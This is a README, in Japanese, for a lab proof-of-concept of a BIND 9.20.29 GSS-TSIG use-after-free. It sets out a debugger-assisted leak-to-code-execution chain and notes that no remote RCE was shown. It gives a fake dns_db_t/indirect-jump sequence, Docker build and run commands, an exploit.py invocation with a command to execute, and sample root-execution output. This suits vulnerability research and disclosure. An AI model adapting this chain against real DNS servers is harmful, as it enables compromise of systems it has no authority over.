
CVE-2026-94300(BIND 9.20.29におけるGSS-TSIGのuse-after-free)に関する自己完結型のPoCと分析。リークからコード実行に至る連鎖をデバッガ支援でモデル化したものを含む。
注: この分析とPoCは大部分がAI支援(「AIパッチワーク」)によって作成された。すべてのコード、diff、測定に関する主張は、依拠する前に引用元と照合して検証すべきである。
CVE-2026-94300のエクスプロイトチェーン(GSS-TSIGを使用するBIND 9.20.29、krb5 1.20.1、jemalloc 5.3.0)のための自己完結型PoCフォルダ。
ここで証明されていること: リークされたアドレス集合(ここではgdbから取得)があれば、測定されたプリミティブからnamedプロセス内でのコード実行を構築するのに十分である。エクスプロイトはdocker logsからのリークを消費する。アドレスリテラルは含まれていない。
ここで明示的にモデルであるもの(レポートでもそのように明記されている):
| 前提 | 理由 |
|---|---|
| gdbからのリーク | このCVEには情報リークのプリミティブが存在しない。実際のリークは別のバグに由来する必要がある |
ASLR無効(setarch -R) | リークがなければヒープ/コードアドレスは存在しない |
| gdb経由で注入されたオブジェクト内容の制御 | 解放された8バイトスロットの再利用は、ここで検討した手段による実際の経路では成功しなかった(470万回の試行、ヒット0件)— これは文書化された障害であり、不可能性の証明ではない |
実証されたリモートRCEはなく、永続化もない。コマンドはエクスプロイトの--cmdで指定する: host/exploit.pyがDocker制御チャネル(docker exec、オペレーターがすでに持っているのと同じ権限)を通じてコンテナ内に渡す。エクスプロイト自体はリークされたアドレスとキャプチャしたパケットのみを送信する。ペイロードはさらにRCE-PROOF行を書き込み(検証用)、namedを終了させる。
sequenceDiagram
participant R as Researcher (host)
participant V as Container: named 9.20.29 + gdb
participant L as docker logs
R->>V: docker run -p 127.0.0.1:15353:53/udp
V->>V: TKEY capture (no send), gdb breaks on dns_db_currentversion
V->>L: LEAK: db=…, methods=…, heap=…, wire_b64=… (sha256)
V->>V: model armed, waits for host replay
R->>L: read docker logs + validate (11 checks)
R->>V: docker exec: --cmd to /tmp/rce-payload-cmd
R->>V: UDP replay of the leaked signed packet to 15353
V->>V: krb5_k_free_key → free(db) → reclaim → fake dns_db_t
V->>V: dns_db_currentversion → jmp *methods+0x30 → payload
R->>V: docker exec cat /tmp/rce-proof
| パス | 目的 |
|---|---|
docker/Dockerfile | 被害者イメージ: ISC tarball の BIND 9.20.29 + gdb + KDC + ラボドライバ |
etc/ | krb5.conf、kdc.conf、named.conf、ゾーン(イメージによって /etc にコピーされる) |
host/exploit.py | ホスト側エクスプロイト: docker logs を読み取り、検証し、UDP 経由でリプレイし、マーカーを確認する |
lab/rce_victim.sh | コンテナ内ドライバ: gdb 下の named、送信なしのキャプチャ、リーク、待機 |
lab/rce_model.py | gdb モデル: ブレークポイント、リークブロック、アーミング、ディスパッチの観測 |
lab/rce_leak.py | リーク段階: アドレス + wire_b64 → stdout/ファイル |
lab/rce_exploit.py | コンテナ内のエクスプロイト段階: リークから偽オブジェクトを構築し、再利用し、ディスパッチする |
lab/rce_shim.c | 固定ページシム: 偽テーブル、偽 dns_db_t テンプレート、ペイロード |
lab/replay-lab.py | TKEY キャプチャ(--no-send) |
lab/gss_context_lab.py | キャプチャ用の GSS コンテキストヘルパー |
lab/start.sh、lab/named.replay.conf | KDC/キータブ/ゾーンのブートストラップ、named 設定 |
RACE.md | 共有 GSS-TSIG コンテキスト上の競合状態の説明: 共有、アクセス、トリガー、測定、スコープ |
VERIFY.md | ソース差分 9.20.29 → 9.20.30 に対する 3 つの主張の検証(GSS-TSIG ロック、破壊的なキーリングダンプ、RCE スコープ) |
EXPLOIT.md | コード証拠と Mermaid を含むエクスプロイトの説明 |
USAGE.md | ビルド、実行、期待される出力、トラブルシューティング |
ANAYLSE.md | 公開可能な開示補遺(影響の整合: DoS 対 潜在的な RCE、影響を受けるバージョン、緩和策、検出)— エクスプロイトのプリミティブを含まない |
ANALYZE.md | 開示補遺の英語版 |
(このファイルは README.md です。他の PoC ドキュメントも RACE.md、VERIFY.md、
EXPLOIT.md、USAGE.md として存在します。)
ビルド時に Docker + インターネット接続のみが必要です。イメージは公式の
ISC tarball(https://downloads.isc.org/isc/bind9/9.20.29/bind-9.20.29.tar.xz、SHA-256 固定)から
BIND 9.20.29 自体を --with-gssapi=yes 付きでビルドし、gdb、MIT Kerberos KDC、ラボドライバを
インストールします。ディストリビューションの BIND や、事前ビルド済みのベースイメージは不要です。
イメージには使い捨ての KDC アイデンティティ [email protected](パスワード attacker、
レルム EXAMPLE.TEST、KDC はコンテナ内の 127.0.0.1:88 のみ)が含まれています — これはこのラボ専用であり、
他のサーバーに対する GSS-TSIG テスト用ではありません。キータブをコンテナの外に持ち出さないでください。
cd poc/CVE-2026-94300-poc
docker build -f docker/Dockerfile -t cve-2026-94300-victim .
# Terminal 1: container
docker run --rm --name cve-2026-94300-victim \
-p 127.0.0.1:15353:53/udp \
--security-opt seccomp=unconfined \
cve-2026-94300-victim # prints the LEAK block to stdout
# Terminal 2: exploit from the host, target + command as arguments
python3 host/exploit.py --ip 127.0.0.1 --port 15353 --cmd 'id > /tmp/bla'
docker exec cve-2026-94300-victim cat /tmp/bla # uid=0(root) …
想定される出力(抜粋):
LEAK: db=0x7ffff6901c00
LEAK: db_methods=0x7ffff7c497c0
LEAK: payload=0x7ffff7fbe37b
LEAK: wire_len=3907
HOST-EXPLOIT-VALIDATE OK checks=11
HOST-EXPLOIT-REPLAY target=127.0.0.1:15353 bytes=3907
RCE-DISPATCH-INDIRECT target=0x7ffff7fbe37b (rce_payload) match=YES
RCE-PAYLOAD-EXECUTED RCE-PROOF pid=… uid=0 euid=0 db=0x7ffff6901c00
HOST-EXPLOIT-VERDICT payload_executed=YES marker=YES
勧告文: ISCはCVE-2026-94300をリモート、High、CVSS 8.1(AC:H)と評価し、コード実行の可能性があるとしています。公開されており再現可能な形で確立されているのは、共有GSS-TSIGコンテキスト上での認証情報不要かつリプレイで誘発されるメモリ破壊(use-after-free/double-free)であり、DoSからヒープ破壊のクラスに属します。コード実行への経路はこれまで、デバッガ支援によるモデル上の仮定(ASLR無効、アドレスやオブジェクト内容の注入)の下でのみ示されています。実証されたリモートRCEは存在しません。
確立されていること:対象プロセスにおいてリークが与えられればRCEに至る。確立されていないこと:リークなし、かつgdbなしでのリモート攻撃であり、そのためには情報リークのプリミティブと達成されたreclaimステップが欠けています。これは文書化された一連の障害であり、不可能性の証明ではありません。ISCはコード実行クラスを潜在的リスクとして扱っています。コードの根拠(同期バグ、破壊的なダンプ、パッチが修正するものと修正しないもの)は2つのツリーの差分に対してVERIFY.mdで検証されており、レースが技術的にどのように機能するかはRACE.mdに記載されています。エクスプロイトの詳細とコード上の証拠:EXPLOIT.md、実行方法とオプション:USAGE.md。公開可能な開示:ANALYZE.md。